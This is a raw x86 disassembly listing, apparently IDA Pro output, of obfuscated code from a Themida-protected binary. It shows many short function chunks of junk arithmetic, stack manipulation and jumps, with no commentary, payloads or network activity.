sub_59A958	proc near		; CODE XREF: sub_59386B+A244j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00592648 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00594D26 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596072 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00598A09 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059CD04 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059E2B8 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A0B37 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A1E0A SIZE 00000006 BYTES

		push	ebx
		jmp	loc_592648
sub_59A958	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A95E:				; CODE XREF: sub_59390B+397Cj
		sub	esi, 4D472888h
		sub	esi, 7AD702D7h
		add	esi, edx
		add	esi, 7AD702D7h
		add	esi, 4D472888h
		pop	edx
		xchg	esi, [esp-16h+arg_C+2]
		pop	esp
		push	ebp
		push	3A3h
		mov	[esp-12h+arg_8+2], esi
		mov	esi, 536E1C04h
		jmp	sub_59F505
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59A990:				; CODE XREF: Themida_:00591E4Fj
		mov	ebx, [esp]
		add	esp, 4
		add	al, cl
		jmp	loc_5A4C87
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_596A4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EA40


loc_59A9A5:				; CODE XREF: sub_59EA40+3368j
		push	7CA9h
		mov	[esp+0Ch+var_C], esi
		push	[esp+0Ch+var_8]
		pop	esi
		pop	[esp+0Ch+var_C]
		pop	esp
		push	33C0h
		mov	[esp+8+var_8], edi
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		push	5C550A84h
		jmp	loc_5914BB
; END OF FUNCTION CHUNK	FOR sub_59EA40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594C24


loc_59A9CE:				; CODE XREF: sub_594C24+9ACEj
		or	eax, 50F64CC5h
		add	eax, 2C09B13Fh
		add	ebp, eax
		jmp	loc_59F87C
; END OF FUNCTION CHUNK	FOR sub_594C24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_59A9DF:				; CODE XREF: sub_591FC5+1437j
		push	3E1Eh
		mov	[esp+0Ch+var_C], edx
		mov	dh, 4Dh
		xor	dh, 89h
		xor	al, dh
		pop	edx
		or	al, 11h
		sub	al, 6Eh
		mov	ch, al
		pop	eax
		jmp	loc_59F353
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BF22


loc_59A9FB:				; CODE XREF: sub_59BF22+370Cj
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		jmp	loc_5A03AF
; END OF FUNCTION CHUNK	FOR sub_59BF22
; ---------------------------------------------------------------------------


loc_59AA0A:				; CODE XREF: Themida_:0059590Aj
		pop	esp
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B8D


loc_59AA15:				; CODE XREF: sub_590B8D+1028j
		push	ecx
		mov	ecx, 4A084233h
		shl	ecx, 3
		shr	ecx, 8
		shl	ecx, 7
		jmp	sub_59B20A
; END OF FUNCTION CHUNK	FOR sub_590B8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598762


loc_59AA29:				; CODE XREF: sub_598762+2A2j
		add	ecx, 4
		jmp	loc_5987FF
; END OF FUNCTION CHUNK	FOR sub_598762
; ---------------------------------------------------------------------------


loc_59AA34:				; CODE XREF: Themida_:0059A3FDj
		add	esi, 422BD9F0h
		mov	edi, esi
		pop	esi
		sub	edx, 3F4E3A50h
		sub	edx, 59BE3114h
		sub	edx, 1C83279Fh
		add	edx, edi
		add	edx, 1C83279Fh
		jmp	loc_5A3AD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_59AA5C:				; CODE XREF: sub_59CFD4+725Aj
		push	4E89h
		mov	[esp+1Ch+var_1C], ebp
		push	esp
		jmp	loc_590B18
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_59AA6A:				; CODE XREF: sub_59A75E+E0Ej
		mov	[esp+2+var_4+2], ecx
		jmp	loc_5927E2
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------


loc_59AA72:				; CODE XREF: Themida_:0059B6D3j
		and	esi, edx
		jmp	loc_59C244
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_59AA79:				; CODE XREF: sub_59CAFB+77C3j
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_5A06CA
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------


loc_59AA81:				; CODE XREF: Themida_:005922ECj
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		push	39A0h
		jmp	loc_59FAD9
; ---------------------------------------------------------------------------


loc_59AA94:				; CODE XREF: Themida_:005A551Aj
		push	esi
		mov	esi, esp
		push	ebx
		jmp	loc_5961AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59AA9D:				; CODE XREF: sub_59390B+2B66j
		pop	ecx
		push	[esp-1Eh+arg_14+2]
		pop	ebx
		sub	esp, 4
		jmp	loc_598BC9
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59AAAA:				; CODE XREF: Themida_:00593263j
		shl	dl, 5
		sub	dl, 0B7h
		add	bh, dl
		pop	edx
		mov	dl, bh
		pop	ebx
		shr	dl, 7
		add	dl, 97h
		push	ebx
		push	ecx
		jmp	loc_599632
; ---------------------------------------------------------------------------


loc_59AAC3:				; CODE XREF: Themida_:0059FD9Cj
		sub	edx, 9763F2Eh
		sub	edx, ebx
		add	edx, 9763F2Eh
		pop	ebx
		push	esi
		jmp	loc_5A48B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59AAD8:				; CODE XREF: sub_59390B+3D50j
		pop	edx
		push	edx
		push	ebx
		push	edi
		mov	edi, 6D0E71C0h
		add	edi, 92F18E42h
		jmp	loc_59B888
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59822A


loc_59AAEC:				; CODE XREF: sub_59822A+532Fj
		add	eax, 70B9668Bh
		add	eax, 5A831C5Dh
		jmp	loc_5943B2
; END OF FUNCTION CHUNK	FOR sub_59822A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59338E


loc_59AAFB:				; CODE XREF: sub_59338E-241Dj
		mov	ebp, eax
		pop	eax
		jmp	loc_5A567A
; END OF FUNCTION CHUNK	FOR sub_59338E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592CEE


loc_59AB03:				; CODE XREF: sub_592CEE+3j
		mov	ah, bh
		jmp	loc_5A0001
; END OF FUNCTION CHUNK	FOR sub_592CEE
; ---------------------------------------------------------------------------


loc_59AB0A:				; CODE XREF: Themida_:005968C4j
		xchg	ebp, edi
		push	edx
		mov	edx, 1
		jmp	loc_599389
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592E1C


loc_59AB17:				; CODE XREF: sub_592E1C-17BAj
		push	esp
		jmp	loc_59F685
; END OF FUNCTION CHUNK	FOR sub_592E1C
; ---------------------------------------------------------------------------


loc_59AB1D:				; CODE XREF: Themida_:005A4015j
		push	edx
		mov	edx, 47623452h
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		not	edi
		xchg	edi, edx
		sub	edx, 130A2D95h
		jmp	loc_59D2D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A09BC


loc_59AB38:				; CODE XREF: sub_5A09BC-7D00j
		add	esp, 4
		xor	eax, [esp-0Ch+arg_8]
		jmp	loc_59B5F7
; END OF FUNCTION CHUNK	FOR sub_5A09BC

; =============== S U B	R O U T	I N E =======================================



sub_59AB43	proc near		; CODE XREF: sub_59F294+288Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00590AD4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00590D68 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005924F8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059492F SIZE 0000004D BYTES
; FUNCTION CHUNK AT 00596205 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00597595 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00598FE0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059CB51 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059D2CA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F6D8 SIZE 00000009 BYTES

		push	ebx
		mov	ebx, 0B761968h
		mov	edx, 0D56F483h
		jmp	loc_596205
sub_59AB43	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59AB53:				; CODE XREF: sub_59390B+DA24j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		jmp	loc_59E4E8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59AB68:				; CODE XREF: Themida_:005995D9j
		push	dword ptr [esp+4]
		jmp	loc_599F20
; ---------------------------------------------------------------------------


loc_59AB71:				; CODE XREF: Themida_:00597E57j
		xor	edx, 1CD270C9h
		mov	edi, edx
		jmp	loc_592E63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59AB7E:				; CODE XREF: sub_59390B+3BEEj
		pop	edi
		jmp	loc_5A5541
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_59AB84:				; CODE XREF: sub_5A51EA-12578j
		pop	ax
		push	eax
		mov	al, 27h
		xor	dh, al
		pop	eax
		jmp	loc_5A4212
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59AB91:				; CODE XREF: sub_59390B+D8EDj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-14h+arg_C]
		jmp	loc_596DC5
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_59ABA5:				; CODE XREF: sub_5A4CDD-6D0j
		push	12D7h
		mov	[esp+10h+var_10], eax
		mov	eax, 4
		jmp	loc_5A1EF7
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59ABB7:				; CODE XREF: sub_59390B+DAA9j
		add	esi, edx
		jmp	loc_59E9A7
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_59ABBE:				; CODE XREF: sub_59A431+6B84j
		mov	esp, [esp+10h+var_10]
		mov	[esp+10h+var_10], esp
		push	eax
		mov	eax, 4
		add	[esp+14h+var_10], eax
		pop	eax
		mov	ecx, [esp+10h+var_10]
		push	eax
		mov	eax, esp
		jmp	loc_59D694
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59ABDA:				; CODE XREF: sub_59390B+11690j
		add	eax, edx
		jmp	loc_5A3059
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59ABE1:				; CODE XREF: Themida_:0059EDABj
		and	ecx, 0A25484Eh
		add	ecx, 18016229h
		mov	esi, ecx
		pop	ecx
		add	edx, esi
		pop	esi
		mov	ebp, edx
		pop	edx
		not	ebp
		jmp	loc_5A28E3
; ---------------------------------------------------------------------------


loc_59ABFD:				; DATA XREF: Themida_:005907FCo
		mov	cx, [esp]
		push	0E84h
		jmp	loc_592229
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59AC0B:				; CODE XREF: sub_59390B-936j
		sub	edi, 79A5028Fh
		add	edi, 79063A00h
		jmp	loc_59A625
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59AC1C:				; CODE XREF: Themida_:00597206j
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5A1314
; ---------------------------------------------------------------------------


loc_59AC2F:				; CODE XREF: Themida_:005971F5j
		pop	ebx
		jmp	loc_5A3B7B
; ---------------------------------------------------------------------------


loc_59AC35:				; CODE XREF: Themida_:0059BFACj
		pop	ebp
		add	ebx, 2AA2BBDh
		jmp	loc_59E9D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59AC41:				; CODE XREF: sub_59390B+D187j
		add	eax, ebp
		jmp	sub_5A2196
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0733


loc_59AC48:				; CODE XREF: sub_5A0733-62D9j
		mov	[esp+0Ch+var_C], ebp
		jmp	loc_59C02B
; END OF FUNCTION CHUNK	FOR sub_5A0733
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59AC50:				; CODE XREF: sub_59390B+32A4j
		add	bl, 8Dh
		add	bl, al
		jmp	loc_59D21E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59AC5A:				; CODE XREF: Themida_:00596FB7j
		mov	bl, al
		jmp	loc_59B6B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59AC61:				; CODE XREF: sub_59390B+FA1j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		push	eax
		push	40h
		push	[esp+10h+var_10]
		push	[esp+14h+var_14]
		pop	eax
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 46D05252h
		inc	esi
		xor	esi, 46D05257h
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp+18h+var_18]
		pop	esp
		push	0DE4h
		jmp	loc_5A37E2
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2FC


loc_59AC9F:				; CODE XREF: sub_59F2FC+9j
		mov	[esp+4+var_4], ecx
		push	esp
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	1F20h
		jmp	loc_59A334
; END OF FUNCTION CHUNK	FOR sub_59F2FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2196


loc_59ACB3:				; CODE XREF: sub_5A2196-B6B4j
		pop	ecx
		pop	ebp
		push	3A12h
		mov	[esp+0], esi
		push	eax
		mov	eax, 2E3362AAh
		push	731Bh
		mov	[esp+8+var_8], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	sub_59FD45
; END OF FUNCTION CHUNK	FOR sub_5A2196
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2FE9


loc_59ACDE:				; CODE XREF: sub_5A2FE9+29BCj
		push	esi
		jmp	loc_592863
; END OF FUNCTION CHUNK	FOR sub_5A2FE9
; ---------------------------------------------------------------------------


loc_59ACE4:				; CODE XREF: Themida_:0059EA67j
		mov	ebp, 18B158F5h
		mov	eax, 0FDE31A5Bh
		jmp	loc_59BB26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_59ACF3:				; CODE XREF: sub_59A431-1410j
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		jmp	loc_5957B2
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------


loc_59AD09:				; CODE XREF: Themida_:005A066Ej
		xor	dword ptr [esp], 730F41C0h
		pop	eax
		xor	eax, 730F41C0h
		pop	ebp
		mov	esi, 1A422E20h
		xor	esi, eax
		pop	eax
		push	esi
		mov	esi, 65CA7E77h
		add	ebx, esi
		pop	esi
		add	ebx, esi
		sub	ebx, 65CA7E77h
		jmp	loc_5969D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59AD35:				; CODE XREF: sub_59390B+F190j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+18h+var_18]
		pop	esp
		push	65E8h
		mov	[esp+18h+var_18], ebx
		mov	ebx, 2
		jmp	loc_5A20AC
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_59F436
; ---------------------------------------------------------------------------


loc_59AD5C:				; CODE XREF: Themida_:00595A5Dj
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	ebx, 0D60308Ch
		jmp	loc_59AF73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59AD6E:				; CODE XREF: sub_59390B+950j
		sub	ebx, 6B3A851Ch
		jmp	loc_5A4C9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59AD79:				; CODE XREF: Themida_:00599309j
		push	eax
		mov	eax, 187062B2h
		mov	ebp, eax
		pop	eax
		sub	ebp, 3AA1207Eh
		sub	ebp, 58A046FEh
		jmp	loc_590C7D
; ---------------------------------------------------------------------------


loc_59AD93:				; CODE XREF: Themida_:0059CF04j
		mov	dl, cl
		jmp	loc_5994F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A905


loc_59AD9A:				; CODE XREF: sub_59A905-5DCFj
		pop	eax
		sub	ebx, edi
		pop	edi
		xor	ebx, [esp-8+arg_4]
		xor	[esp-8+arg_4], ebx
		xor	ebx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		mov	[esp-8+arg_4], edx
		push	eax
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59A905
; ---------------------------------------------------------------------------


loc_59ADB4:				; CODE XREF: Themida_:0059CFCFj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_598FC5

; =============== S U B	R O U T	I N E =======================================



sub_59ADCD	proc near		; CODE XREF: sub_59FD45-81Cj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059F552 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A5B8E SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, 0E0C9BBB9h
		add	ebp, 26447CE9h
		sub	ebp, eax
		jmp	loc_59F552
sub_59ADCD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59ADE5:				; CODE XREF: sub_59390B+11E0Cj
		push	[esp+10h+var_10]
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		push	edx
		jmp	loc_595774
; ---------------------------------------------------------------------------


loc_59ADF4:				; CODE XREF: sub_59390B+CCC8j
		add	esp, 4
		push	3E44h
		mov	[esp+14h+var_14], ecx
		jmp	sub_591A08
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59AE04:				; CODE XREF: Themida_:0059FF6Fj
		mov	esi, 339E4834h
		jmp	loc_5A06F0
; ---------------------------------------------------------------------------


loc_59AE0E:				; DATA XREF: Themida_:005909C4o
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_591431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_59AE1A:				; CODE XREF: sub_59A431+4BF8j
		push	esi
		push	esp
		jmp	loc_59705C
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2D8D


loc_59AE21:				; CODE XREF: sub_5A2D8D-C27Dj
		mov	[esp+0], ecx
		sub	esp, 4
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	ecx
		push	edi
		jmp	loc_591BF9
; END OF FUNCTION CHUNK	FOR sub_5A2D8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59AE38:				; CODE XREF: sub_59390B+BC2Fj
		push	edi
		mov	edi, 5EE8187Fh
		xor	edi, 38BC27A9h
		mov	ebx, edi
		push	[esp+18h+var_18]
		jmp	loc_5A0C20
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_59AE4E:				; CODE XREF: sub_59A75E-1863j
		mov	si, 0B0FDh
		sub	si, bp
		pop	ebp
		add	bx, si
		pop	si
		pop	si
		movzx	eax, ax
		push	152h
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		jmp	loc_5A1AFF
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59AE6F:				; CODE XREF: sub_59390B+CCF6j
		mov	[esp+0], edx
		push	0B777795h
		pop	edx
		xor	edx, 5A442FBAh
		shr	edx, 4
		sub	esp, 4
		jmp	loc_591EB0
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590AC5


loc_59AE89:				; CODE XREF: sub_590AC5+B993j
		pop	dword ptr [esp+0]
		jmp	loc_59C3B9
; END OF FUNCTION CHUNK	FOR sub_590AC5
; ---------------------------------------------------------------------------


loc_59AE91:				; CODE XREF: Themida_:0059C0D4j
		xor	ch, 32h
		jmp	loc_59B7D6
; ---------------------------------------------------------------------------


loc_59AE99:				; CODE XREF: Themida_:00599748j
		push	ecx
		mov	ecx, esp
		jmp	loc_5976C7
; ---------------------------------------------------------------------------


loc_59AEA1:				; CODE XREF: Themida_:00590CE8j
		add	esp, 4
		jmp	loc_5A0F72
; ---------------------------------------------------------------------------


loc_59AEA9:				; CODE XREF: Themida_:0059D1DDj
		xor	al, bl
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		push	ebx
		mov	bh, 0A0h
		mov	ch, 32h
		xor	ch, bh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shl	ch, 8
		push	edx
		mov	dh, ch
		not	dh
		mov	ch, dh
		pop	edx
		push	46ADh
		mov	[esp], edx
		jmp	loc_59C69A
; ---------------------------------------------------------------------------


loc_59AEE4:				; CODE XREF: Themida_:005A16D0j
		add	[esp+4], edx
		pop	edx
		pop	eax
		jmp	loc_5960D2
; ---------------------------------------------------------------------------


loc_59AEEF:				; CODE XREF: Themida_:0059BBFBj
		mov	esi, [esp]
		add	esp, 4
		add	eax, 5EA7FF9h
		sub	eax, edx
		push	ecx
		jmp	loc_59B1BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59AF02:				; CODE XREF: sub_59390B+3DB7j
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp+0]
		pop	esp
		push	small word ptr [eax]
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_59F15E
; ---------------------------------------------------------------------------


loc_59AF1A:				; CODE XREF: Themida_:00590CB6j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A227E
; ---------------------------------------------------------------------------


loc_59AF23:				; CODE XREF: Themida_:0059F8EBj
		sub	[esp], eax
		add	dword ptr [esp], 6A5D22B5h
		pop	eax
		add	eax, 61DB3DCDh
		jmp	loc_599B31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59AF38:				; CODE XREF: sub_59390B+9FFj
		push	edi
		jmp	loc_59FBFE
; ---------------------------------------------------------------------------


loc_59AF3E:				; CODE XREF: sub_59390B-1002j
		add	esp, 4
		sub	ebp, 404E3C87h
		jmp	loc_591205
; ---------------------------------------------------------------------------


loc_59AF4F:				; CODE XREF: sub_59390B+7A97j
		add	esi, ebx
		jmp	loc_595BEC
; ---------------------------------------------------------------------------


loc_59AF56:				; CODE XREF: sub_59390B+ACD3j
		xor	dl, 5Bh
		jmp	loc_5A397B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592586


loc_59AF5E:				; CODE XREF: sub_592586+D7D0j
		sub	ebx, 6BD2188Eh
		push	ebp
		push	esi
		mov	esi, 65E16DF4h
		mov	ebp, esi
		pop	esi
		jmp	loc_5A44D0
; END OF FUNCTION CHUNK	FOR sub_592586
; ---------------------------------------------------------------------------


loc_59AF73:				; CODE XREF: Themida_:0059AD69j
		add	ebx, eax
		push	ecx
		mov	ecx, 0D60308Ch
		sub	ebx, 2E3E0ADEh
		add	ebx, 42D65758h
		sub	ebx, ecx
		sub	ebx, 42D65758h
		add	ebx, 2E3E0ADEh
		pop	ecx
		push	ecx
		mov	ecx, 13976DEh
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A1642
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59AFA9:				; CODE XREF: sub_59390B+11C06j
		mov	ah, 0ACh
		xor	ah, cl
		jmp	loc_59B6A9
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F5C8


loc_59AFB2:				; CODE XREF: sub_59F5C8-BEEEj
		neg	dl
		push	ebx
		mov	bh, 0EEh
		and	bh, 7Ch
		sub	bh, 0B4h
		sub	bh, 0F9h
		xor	dl, bh
		pop	ebx
		add	dl, 27h
		sub	dl, 5Dh
		sub	bl, dl
		pop	edx
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59F5C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59AFD7:				; CODE XREF: sub_59390B+F28Bj
		pop	edi
		sub	esp, 4
		jmp	loc_593355
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5932F7


loc_59AFE3:				; CODE XREF: sub_5932F7+10B0Bj
		add	esi, ebx
		jmp	loc_5917C9
; END OF FUNCTION CHUNK	FOR sub_5932F7
; ---------------------------------------------------------------------------


loc_59AFEA:				; CODE XREF: Themida_:005919F4j
		mov	ebp, 7F816E8h
		add	dword ptr [esp+8], 66955F7Bh
		add	[esp+8], ebp
		jmp	loc_59A682
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_59B000:				; CODE XREF: sub_59FCCB-1DA7j
		sub	edx, 4
		jmp	loc_5921E4
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	1E61h
		jmp	loc_5A2D39

; =============== S U B	R O U T	I N E =======================================



sub_59B019	proc near		; CODE XREF: sub_59390B+13Aj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00595430 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A0BDA SIZE 0000001A BYTES

		push	ebp
		jmp	loc_595430
sub_59B019	endp

; ---------------------------------------------------------------------------


loc_59B01F:				; CODE XREF: Themida_:0059D3F4j
		mov	[esp+4], bh
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_599837
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590BDF


loc_59B02C:				; CODE XREF: sub_590BDF+129B8j
		pop	ebx
		push	4EDEh
		mov	[esp+4+var_4], esi
		mov	esi, 5A7264E6h
		jmp	loc_59E0D7
; END OF FUNCTION CHUNK	FOR sub_590BDF
; ---------------------------------------------------------------------------


loc_59B03F:				; CODE XREF: Themida_:0059CCBEj
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 17336DA0h
		jmp	loc_598004
; ---------------------------------------------------------------------------


loc_59B052:				; CODE XREF: Themida_:0059E3A3j
		pop	esp
		shl	edx, 3
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		push	440Ch
		jmp	loc_5A3A53
; ---------------------------------------------------------------------------


loc_59B066:				; CODE XREF: Themida_:00592EC8j
		pop	edi
		push	edi
		jmp	loc_59F07B

; =============== S U B	R O U T	I N E =======================================



sub_59B06D	proc near		; CODE XREF: sub_59E9F9+4j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059F453 SIZE 0000004B BYTES

		push	ebp
		jmp	loc_59F453
sub_59B06D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964AF


loc_59B073:				; CODE XREF: sub_5964AF+E3EEj
		pop	esi
		add	esp, 4
		shr	edx, 6
		xor	edx, 528D698Bh
		sub	edx, 52DE18BDh
		jmp	loc_59508E
